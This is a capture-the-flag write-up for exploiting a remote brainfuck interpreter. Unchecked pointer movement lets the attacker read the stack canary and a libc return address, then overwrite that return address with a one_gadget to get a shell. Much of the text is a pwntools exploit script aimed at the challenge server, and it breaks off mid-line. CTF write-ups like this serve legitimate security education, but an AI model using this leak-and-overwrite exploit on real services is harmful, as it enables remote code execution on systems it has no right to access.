Hi, the goal of this challenge it to exploit a brainfuck interpreter remotely. the binary of the interpreter is provided.
the program allocate some buffers on stack:
    3 dwords, for the ptr var, jump addr, and pc    followed by 30000 bytes of memory    followed by 1004 bytes of program memory    followed by the canary (8 bytes)    followed by libcsu_init address in program (8 bytes)    followed by _libc_start_main return address in libc (8 bytes)
the brainfuck interpreter moves the ptr register from beginning of the 30000bytes buffer, with no limit checking.. * "," --> we can do ptr = getchar(), to read a char from stdin to actual pointer,* "." --> or putchar(ptr) , dump char stored at actual pointer * ">" & "<" -->  increment and decrement pointer * "+" & "-" --> increment and decrement pointer content * "[" & "]" --> and do some loops..
so the exploitation goes like this, we send enough chars, to reach canary address with ptr, then we dump canary, _libcsu_init addr, and _libc_start_main return address.. this is our leaks..
we identify first libc version with the libc leak address, we identify libc6_2.28-10_amd64.so as the libc used.
then we calculate libc_base with our libc leak, then we calculate onegadget address with it. and we just rewrite the _libc_start_main return address with the onegadget address..
then, when the program returns from main...we got Shell..
```#! /usr/bin/env python# -*- coding: utf-8 -*-#from pwn import *context(arch = 'amd64', os = 'linux')context.log_level = 'info'
#binary namechallenge_exe = './bflol'
#settingcon_host = 'chal.cybersecurityrumble.de'con_port = 19783
p = connect(con_host, con_port)
command = ',[>,]>.[>.]>>.[>.]>><<<<<<<<,>,>,>,>,>,>'
p.sendline(command)
payload = ']'*30000payload += commandpayload += (1004-len(command))*']' + '\x00'
p.send(payload)
buff = p.recv(1)buff += p.recv()
# we dump the canary (even if we don't need it)canary = u64('\x00'+buff[0:7])info("canary = "+hex(canary))# we dump a program address (even if we don't need it)leak1 = u64(buff[8:14]+'\x00\x00')info("leak prog = "+hex(leak1))# we dump a libc_start_main return address (this one we need it)libc_leak = u64(buff[14:20]+'\x00\x00')info("leak libc = "+hex(libc_leak))
# libc_start_main return address offset for libc_baseretoffset = 0x02409b# we calculate libc_base with our libc leaklibc_base = libc_leak - retoffsetinfo("base libc = "+hex(libc_base))
# the one gadget we will useonegadget = libc_base + 0x4484f
info("onegadget = "+hex(onegadget))info("sending one gadget (good luck)")
payload2 = struct.pack('